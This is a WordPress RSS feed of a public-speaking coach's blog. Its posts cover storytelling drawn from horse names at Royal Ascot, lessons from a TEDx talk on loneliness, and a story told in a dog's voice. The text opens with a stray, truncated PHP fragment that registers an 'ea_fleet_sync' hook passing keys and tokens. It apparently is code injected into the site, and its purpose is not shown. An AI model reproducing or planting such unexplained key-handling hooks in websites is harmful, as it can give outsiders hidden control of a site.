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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Storytelling Archives - Now you're talking https://www.nowyouretalking.co.uk/category/storytelling/ Public speaking Tue, 25 Jun 2024 20:36:10 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Storytelling is always there for you https://www.nowyouretalking.co.uk/2024/06/25/storytelling-is-always-there-for-you/ Tue, 25 Jun 2024 17:19:34 +0000 https://www.nowyouretalking.co.uk/?p=1605 Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference. People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t…

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]]> Storytelling is always there for you and essential to standout speaking that is engaging, memorable and makes a difference.

People often tell me that storytelling isn’t for them because they don’t have any stories to tell. And that simply isn’t true. Our stories are everywhere, all around us. We just need to spot their relevance.

On Friday, I went to the races. A delightful day at Royal Ascot, horses, fascinators and friends.

Royal Ascot race course

I’m a big believer that betting a small amount of money on every race spices up the experience. But I don’t know much about the world of horse racing.

I can probably name the odd trainer or jockey. I can name some past winners. But I’m certainly no pundit. So, how do I choose which horses to back? Trainers and jockeys might feature. Colour of a jockey’s hat might feature. But mostly it’s the stories the horses’ names conjure up in my mind.

Here’s a canter through some of the storytelling behind the horses I backed that day at the races.

Opera Singer

I do enjoy going to the opera from time to time. But opera particularly reminds me of my mum. Her favourite was Puccini’s La Boheme. I can tell many stories about travelling around the world and going to this opera in her memory.

It came second. Sadly, I’d only backed it to win. Worse was yet to come. In the next race, Soprano appeared on the race card. I ignored it after the poor performance of Opera Singer. Shame on me. Stick to your guns I told myself as Soprano led the field across the finishing line.

Theory of Tides

I’ve been doing a Life Writing course with Faber & Faber and am currently reading a book called ‘The Tidal Year’ by Freya Bromley. A match made in heaven I thought. Apparently not. Nonetheless, I’m loving the book and now I have new material for my storytelling treasure trove that connects a writing course with a day at the races. I can certainly see how an immersive experience like Ascot could show up in a story one day.

Gushing Gold

Drawn by its enriching alliterative name, I almost won over £300!

Language matters and is dear to my heart so its importance will always feature in how I craft a story

Hard to Resist

I’d like to say that’s me, but I would never presume. I can get very passionate about things and perhaps find them hard to resist; just like the name of this horse.

While the irresistible isn’t always a winner, I can’t say I have any lasting regrets and they all certainly add to life’s rich tapestry and make us who we are.

Flight of Fancy

A good place to start when we’re building our storytelling treasure trove. Our imaginations might go a bit too far, but they help us get started and produce material we can later edit to make the point we need to make in a talk or presentation.

Matters Most

What matters most to you? Always a great source of stories you can share in your speeches. You can use it to demonstrate your values, explore obstacles that can get in our way, perhaps even determine the subject of your next TEDxTalk 😊.

In the same race, No Half Measures came third. Oops, I’ve always thrown myself heart and soul into whatever I do. Should have listened more carefully to the voice in my head going ‘That’s you, Lyn!’

Inisherin

I completely blew it. I kept mentioning what a fabulous film The Banshees of Inisherin was and then failed to put my money where my mouth was. It romped home!

If something gives you a good feeling, back your instincts.

Storytelling makes a difference

I can’t say that a story that goes with the name of a horse guarantees success – though I’d have won more if I’d stuck more closely to my stories.

But I can say that your real stories are at the heart of an engaging and memorable talk or presentation for your audience and for you as the speaker.

A day at the races and other life experiences offer many a relevant story to stash in your storytelling treasure trove and use to illustrate your point next time you’re in front of an audience.

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]]> TED says – 5 elements of standout talks https://www.nowyouretalking.co.uk/2024/01/08/ted-says-5-elements-of-standout-talks/ Mon, 08 Jan 2024 09:00:13 +0000 https://www.nowyouretalking.co.uk/?p=1584 TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading. Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work…

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]]> TED says that standout talks happen when good preparation meets confident delivery and connection to bring us ideas worth spreading.

Giving a TEDx Talk has long been an ambition of mine and I was ready to put in the work and deliver my idea worth spreading.

What I hadn’t realised was how challenging the experience would be and the learnings I would derive.

TED says is what Lyn Roseaman learnt giving her TEDxTalk at TEDxLewisham.

Here are my five things TED shows us.

TED says 1 – Find your TED idea worth spreading

TED talks are no different from any talk or presentation in that they all need a clear message, an idea worth spreading, that the audience will value; a message that will effect change in what they think, feel and do in relation to the subject.

Without this clarity, it’s hard to assemble the right content so that it delivers a clear and memorable message.

If you can’t sum up your message in a few words, it almost certainly needs more thought. And if YOU can’t sum up your message in a few words, your audience has no chance.

The message of my TEDx Talk was that loneliness ruins lives and we all have a responsibility to try and smash the loneliness pandemic. I embedded this message – the problem and the solution – in a memorable anchor phrase, ‘Loneliness shatters. Community matters.’

Please enjoy and comment on my TEDx Talk, ‘Reach out and smash the loneliness pandemic’.

TED says 2 – Better together

Nothing thrills me more than teamwork, so why treat a TEDx Talk any differently?

I made myself a list of people whose advice I cherish, both as friends and speakers. Then I approached each one to see if they’d like to help. Some of us met on Zoom, some of us met in person for dinner or coffee, some showed up on the day to watch the speech live.

We brainstormed ideas, evolved a speech and shared feedback to craft and hone my talk.

And the most wonderful thing for me was when everyone who helped expressed an interest in staying involved beyond an initial meeting. Their continuous help and support was inspirational.

So, never be afraid to ask for help. Fresh perspectives and ideas are always useful, along with a healthy dose of sense checking, feedback and encouragement. TED shows us that we are definitely better together.

TED says 3 – Make your practice real

It’s too easy to practise a talk in front of a mirror or record and playback, whatever your preference. But the important thing is to create a sense of reality that will ramp up the nerves of being in front of an audience and give you a better idea of how everything is working for you.

In front of a mirror, I was great! Word perfect. As soon as I went in front of people, whether in a Zoom meeting, trying it out in a café or delivering at a TEDxLewisham dress rehearsal, I fell apart. At one such event, my knees were shaking so much, I thought I was going to fall over. Every time, I would suddenly lose my way and forget what I wanted to say.

Time to remember that preparation is about internalising, not memorising, a speech. Reminding myself of my speech route map, I was liberated from my script and free to read the room, interact with my audience and sound relaxed, natural and conversational.

TED says 4 – Unpick the nerves

From an anxiety point of view, giving a TEDx Talk was one of the hardest things I’ve ever done. As an experienced speaker, I was a bit shocked by my reactions and wanted to understand better what was happening to me.

The two main negative voices in my head that are always likely to give me a hard time are the “perfectionist” and the “hyper-achiever”. And I was feeding them both.

In my capacity of public speaking coach, I think I gave too much weight to the TEDx opportunity and the importance in my head of doing a good job. My hyper-achiever was out with a vengeance, with an internal monologue that repeatedly told me, ‘If you mess up, what does it say about you as a coach?’

TED was my dream and everything was unravelling, but I wasn’t giving in that easily! I had to find a way to enjoy my moment on the TEDx “red dot”.

TED says 5 – Enjoy the moment

On the day, I was surrounded by fellow speakers and lovely friends. The mutual support and encouragement were phenomenal.

As I took to the stage, wrapped in their warm and positive vibes, I reminded myself that I had a speech I was proud of , with a relevant and relatable message.

I looked around the audience, raised my hand and began…

‘Hands up if you’ve ever felt lonely’. Up went a strong show of hands and we were off… speaker and audience together. We enjoyed sharing relatable experiences and I thoroughly enjoyed sharing my stories.

TED shows us that to bring a speech or presentation to life in an engaging and memorable way needs a clear idea worth spreading, preparation, confidence and, above all else, connection with your audience.

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]]> Change matters in our talks and presentations https://www.nowyouretalking.co.uk/2023/10/27/change-matters-in-our-talks-and-presentations/ Fri, 27 Oct 2023 12:56:55 +0000 https://www.nowyouretalking.co.uk/?p=1579 Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject. I recently gave a TEDx Talk about what we can do about…

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]]> Change matters to speakers. Our job when we give talks and presentations is to create change – change what our listeners think, feel or do about our subject.

I recently gave a TEDx Talk about what we can do about loneliness.

Lyn Roseaman giving a TEDxTalk inviting people to change their thoughts, feelings and actions about loneliness

 

It was a talk full of stories from my childhood and the present day, inviting people to change how they handle loneliness and pull together to help smash the loneliness pandemic.

Loneliness is shattering lives, especially young people’s lives. It could happen to any of us, at any time. Hiding under the duvet might seem like a great solution, but withdrawing from the world only makes things worse. Difficult and painful as it is, we need to reach out.

Presenting the case that “Loneliness shatters” and “Community matters”, I seek to change what my audience thinks, feels and does about loneliness.

Inspired by memories of my childhood and growing up in the community of a care home owned and run by my mum, I invite my audience to discover bite-sized ways to help us smash the “loneliness pandemic”. Change matters!

This talk was given at a TEDx event using the TED conference format but independently organised by a local community.

You can listen to the full talk here.

Love to hear your thoughts.

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]]> I’m late! https://www.nowyouretalking.co.uk/2023/02/27/im-late/ Mon, 27 Feb 2023 09:14:00 +0000 https://www.nowyouretalking.co.uk/?p=1503 I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to…

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]]> I’m very rarely late for anything. Meetings, flights, theatre starts or project deadlines. If it’s in my calendar, I’m usually there. But I seem to have spent my life being late for key life events that society generally expects to happen at a certain time.

It all started with a due date. My debut. Expected 14 July in a local village hospital. Cancerian.

In the words of the White Rabbit:

“I’m late, I’m late for a very important date. 

No time to say goodbye, hello, I’m late, I’m late, I’m late.”

2 weeks late, in fact, refusing to come out, running out of oxygen, turning blue, blue flashing lights emergency dash from the village hospital to the North Middlesex in Edmonton. I made it! Late, but not too late. Leo. And technically, I suppose, a Londoner.

The years rolled by and I found myself late going to university. This time was a deliberate plan. Go to Paris to finesse my French while working as a waitress in hotels, before going to Exeter to study French and philosophy.

I got even later as I decided to go to Germany and hone my German, still working in hotels and loving languages.

Not sure what happened, but instead of Exeter I found myself in Scotland, studying hotel, catering and tourism… of course, with some languages thrown in!

Consequently, I was late getting a permanent job. I loved the academic world and just couldn’t tear myself away. Until I decided it doesn’t pay enough! What job could I do? I chose market research because it had the word research in its name and that’s what I’d been doing for most of the previous decade.

As a market researcher I gave a lot of presentations and conference papers. I’d received the cursory presentation skills training. I don’t think it was much help. I was vaguely competent… But certainly not connected or engaging. If only I’d known then what I know now!

And now I’ve realised that I was also late finding my ideal job.

Online, I kept doing these tests to find your ideal job, the one that suits you best. Most seemed to tell me my career choice as a market researcher was number 11 and that there were 10 jobs better suited to me. I wasn’t prepared to pay the money they wanted to reveal my top 10. But after completing my Distinguished Toastmaster, I think I’ve found it.

I started Now You’re Talking my own business as a public speaking coach.

My friend, Sally, heard me doing some one-to-one coaching and I overheard her say “Now there’s a Lyn I haven’t seen for a long time”.

Dream job. Late, but hopefully not too late.

I’m definitely still chasing something, but I’ve no idea what it is! Too late? Watch this space!

PS Bonus tip if you struggle to deliver talks and presentations that run to time

 

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]]> First ever TEDx Lewisham – Oh what a night! https://www.nowyouretalking.co.uk/2022/03/24/first-ever-tedx-lewisham-oh-what-a-night/ Thu, 24 Mar 2022 15:56:12 +0000 https://www.nowyouretalking.co.uk/?p=1439 And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment. As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best…

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]]> And Oh what a night! The first ever TEDx Lewisham. A night of Love and Empowerment.

As the speakers’ coach for the first ever TEDx Lewisham, I sat in the audience like a proud parent, listening to the very best version of every speech. It was magical.

The essentials of speeches that make a difference were evident.

Confidence

They were CONFIDENT speakers. They prepared thoroughly. They’d practised alone, in front of family and friends, in front of each other. Over and over. Not a trace of nerves; not a shaky voice to be heard, not even in their opening sentences.

And all seamlessly woven together by our loving and empowering host, ‘Ronke Kokoruwe. Confident speakers are, indeed, frequent speakers, and it showed.

Connection

The CONNECTION between speakers and audience was palpable:

🔴 It was a community event and every speaker lives in Lewisham

🔴 They spoke about real issues that affect us all, that we all care about

🔴 Speaker and audience interacted in that sweetspot where relevant meets relatable

🔴 We embodied diversity. Diverse ideas. Diverse speakers – gender, age, ethnicity, disabled people, work sector… Diverse audience, incl the 3-year-old there to support his mum 😊

🔴 And, sealing the connection, storytelling that was vulnerable, humorous, emotive, had you crying one moment and laughing the next, was warm and inviting, relevant and, above all, memorable

People will be retelling those stories for years and remembering how they made them think and feel.

Change

TED. #ideasworthspreading. As John F Kennedy said, “The only reason to give a speech is to CHANGE the world.”

Every speech was alive with a vision and a clear message to change hearts and minds, change how we now think, feel and act in our own lives.

Every speaker was seen, heard and made an impact.

All directed and curated by the energetic, empowering and caring Rachel Onikosi. She set the bar high and the team brought home the gold!

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]]> Get personal and change hearts & minds https://www.nowyouretalking.co.uk/2020/12/04/get-personal-and-change-hearts-minds/ Fri, 04 Dec 2020 22:51:57 +0000 https://www.nowyouretalking.co.uk/?p=1333 Whenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get…

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]]> Brown paper bag bearing the name LynWhenever I go to my local coffee shop and collect pre-ordered bread, I see it on a shelf in a brown paper bag bearing my name.  And not just my name, but my name with some added ‘design’. They get personal by using my name and, specifically, my first name. It gives me that lovely warm glow; a connection. And there are so many ways we can get personal and create connections that help us change hearts and minds when we give talks and presentations.

Don’t be afraid to use my name

I’m always very happy for someone to use my first name, but some people prefer a more formal approach. If in doubt, I simply ask how someone would like me to address them.

In hotels, they often program your name into their system, but they use a formal styling. In my case, that’s Miss Roseaman. And it so often goes wrong. Miss becomes Mrs. Roseaman is usually mispronounced. If they asked, I’d welcome them using my first name and Lyn is so much easier to deal with.

In the coffee shop, when I hear “Hi Lyn. How’s it going?” or see ‘Lyn’ on the bread bag, they instantly have my attention. They make me feel valued and part of the set-up. I feel as if I belong.

Get personal with steady eye contact

Think about how you feel when someone is talking to you, but not making eye contact. It might be a lack of confidence on their part, but it makes me wonder if I can trust them and whether they perhaps have something to hide.

Good eye contact sends a message of trust. And online, it goes even further in connecting and engaging with an audience. Online, we’re in a close-up situation and if our eyes are darting around or avoiding our viewers and listeners, we seem shifty, nervous and insincere.

Good eye contact online is hard. It means looking at your camera lens, not at the faces on the screen and that feels really unnatural  as we are drawn to looking directly at the faces of the people on our screens. It can help to stick a little picture of a friend right next to your camera lens and talk to that person, imagining them being there so as you look down the lens you’re imagining the real people beyond.

‘You’ is a magic word

The word ‘you’ is at the same time inclusive and individual. As a plural idea, it reaches your whole audience, however many they are. In the singular, it conveys a personal, one-to-one conversation, with you giving all your focus and attention to each and every one of your listeners.

Moreover, using a speaking style and tone that is right for your audience, creates the sense of a personal conversation. This is one reason why it is so important to research and know who your audience is so that you can speak to them in a way that’s comfortable, clear and relatable for them.

Share a personal story

There is perhaps nothing more compelling and memorable than a well-told personal story. Of course, it needs to be relevant to your talk and your audience.

Given that attention spans are short, opening with a story gives you time to settle, lets your listeners get to know you a little and stimulates interest in what’s to come. As you move further into your talk, another story or anecdote can help refocus attention and keep your audience engaged.

We are hard-wired to relate to stories and they are a powerful way to communicate complex ideas and data in a way that is clear and easy to remember.

When we get personal, we connect and engage with our audiences, paving the way for us to touch their hearts and minds and give speeches, talks and presentations that standout and make a difference.

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]]> Be kind – ditch the script & start a conversation https://www.nowyouretalking.co.uk/2020/11/01/start-a-conversation/ Sun, 01 Nov 2020 17:49:43 +0000 https://www.nowyouretalking.co.uk/?p=1322 How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase…

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]]> How are you feeling about the month ahead? I woke up this morning feeling pretty low and under the weather, though I’m pleased to say I haven’t caught the virus! The grey miserable view outside did little to help chase away the blues and start a conversation.

 

Knowing that I probably shouldn’t, I decided to call my phone provider and do something about my phone contract that’s about to expire. I dread these calls. You never know whether you’re going to get someone who knows how to start a conversation and tell stories or whether you’re going to get someone reading a sales script.

 

First up, I got the script reader. After three failed attempts at my name, I said I’d called in error and hung up.

 

Take 2. I got through to a delightful man called Gary in Northern Ireland. He called me Lyn. His tone was that of a mate. Warm, friendly, fun. Here was a man who knew how to start a conversation. 2 people start a conversation

 

He was totally relatable and understood how people might be feeling, “People sometimes feel rude and grumpy, but I know it’s not personal; and so many people are worried about money. I’ve switched all our phones to sim-only for now so we have more money for Christmas.”

 

When discussing products, he brought his own experiences into the conversation and the reasons for his choices. I felt as if I was getting recommendations from a trusted friend; not a trace of ‘sales’. He did all my research for me, looking up the specs of candidate phones. He was quite happy for me to explore sim-only arrangements as opposed to phone upgrades.

 

His kindness and understanding even led to him sharing a story about how he helped an older woman who was afraid to go out and needed some help with her property – nothing to do with comms. “She was scared. I just got her address and called her local council so they could go and help her. It was just a phone call.” Such kindness.

 

I could feel my spirits start to lift. We traded stories, vulnerabilities, feelings and fears of our time. He told me all about the dog he’s just rescued. We had a little rant about politics here and across the pond, all sprinkled with laughter, openness and we got the business done.


We agreed what I should buy for now and he gave me a discount.

 

Then he suggested when I should call back to review my decision. I panicked. What if I got another script reader. I shared my concern. “I know what you mean,” he said and joked, “As an Irishman, I love to talk. Imagine getting paid for it!” He offered to keep my account open and call me back in three months. Phew! I felt relieved and in safe hands.

 

It literally pays to be kind. And what value do you put on the emotional experience of such a conversation? As we brought the call to a close, Gary said “This has been the most enjoyable call I’ve had since I joined the company four years ago.” I replied, “I was feeling pretty miserable when we first started talking and now I feel so much happier. Thank you, Gary, it’s been a real pleasure.”

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]]> I’m gorgeous! https://www.nowyouretalking.co.uk/2018/02/03/im-gorgeous/ Sat, 03 Feb 2018 13:14:44 +0000 https://www.nowyouretalking.co.uk/?p=433 Come with me to Saturday morning.  The normally dusty car park is transformed into a vibrant, colourful market.  Stalls piled high with organic fruit and vegetables, bread, cheese, olives, cakes, wine and all sorts of delicious indulgences.  The smells of…

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]]> Come with me to Saturday morning.  The normally dusty car park is transformed into a vibrant, colourful market.  Stalls piled high with organic fruit and vegetables, bread, cheese, olives, cakes, wine and all sorts of delicious indulgences.  The smells of fabulous food cooking and coffee roasting fill the air.

Our eyes meet across that market.  Transfixed.  We only have eyes for each other.  Everything else fades from view.  I move slowly forward.  My smile gets bigger and bigger and bigger.  Faster and faster and faster she wags her tail.  She loves me!

Woof!  Woof!Dog

Hello human people.  My name is Malacara.  You can call me Cara.  I was born on 9 April 2014, so I’m over 21 in doggie years.  You might think my name means bad face in English, but that can’t be right, can it?!.  You humans think I’m gorgeous.  Hello, gorgeous girl, you say.

In fact, I’m named after a coffee bean from El Salvador.  You see, my human daddy, Lawrence, is a coffee roaster and runs the coffee stall in the market.  I’m his favourite coffee and can you blame him.  I’m gorgeous!

I even look like coffee with my coffee-coloured fur.  Right now, I’m just back from the groomers, so I look like coffee-coloured, crushed velvet and you humans all want to stroke me!

On Saturdays, Lyn the human comes to the market and we go out to play together in the local park.

In the early days, Lyn was worried that I might forget her from one week to the next.  But, I’m not stupid, you know.  My mummy’s a field spaniel and my daddy’s a poodle, so I’m pretty clever.  Unless she was planning some kind of smell transplant, of course I would remember her.

When we first went out together, Lyn used to keep me on the lead.  I think she was scared I might run off and do battle with the traffic.  Fortunately, it was a very long lead so I could chase other dogs and play happily, but Lyn could never quite keep up.  I can run quite fast, you know.  In fact, I sometimes fancy myself as a greyhound or a whippet.  They have long legs that help them run really fast.  I only have little legs, so I have to be a little bit canny.  When we’re running round and round in circles, suddenly, I cut across the circle and create the illusion of being as fast as they are!

Lyn loves me.  She thinks I’m gorgeous.  And I try to make the most of that.

When Lyn first arrives at the market, I give her my bone.  Isn’t that nice of me.  It makes her feel very special while she holds it firmly for me so I can easily lick out all the yummy bone marrow.

In the park, Lyn throws the ball for me.  I run and fetch it.  We play tug of war with sticks.  She throws the ball again, I fetch it.  When I get tired, I hang onto the ball.  Lyn thinks I look gorgeous, sporting a pink or purple ball, clenched firmly between my very strong teeth.

When I get thirsty, I don’t have to share a water bowl with all the other doggies.  Lyn fills a bottle with lovely cool water and hand feeds it to me, as I lap the water from her paw.

As soon as I see Lyn put her hand in her pocket – that’s where she keeps my treats, I sit nicely, butter wouldn’t melt!  My big brown eyes gaze up at her and I know she’ll give me a treat.

When I’m tired and I’ve had enough, I head off towards the edge of the park and Lyn knows it’s time to go.  We go back to the market for coffee and bones.  Lyn’s good value really … she holds my bone, throws the ball, feeds me water and gives me treats.  And then it’s a final cuddle and she’s off.  I gaze after her as she walks into the distance.

Woof!  Woof!  She loves me.  She thinks I’m gorgeous!

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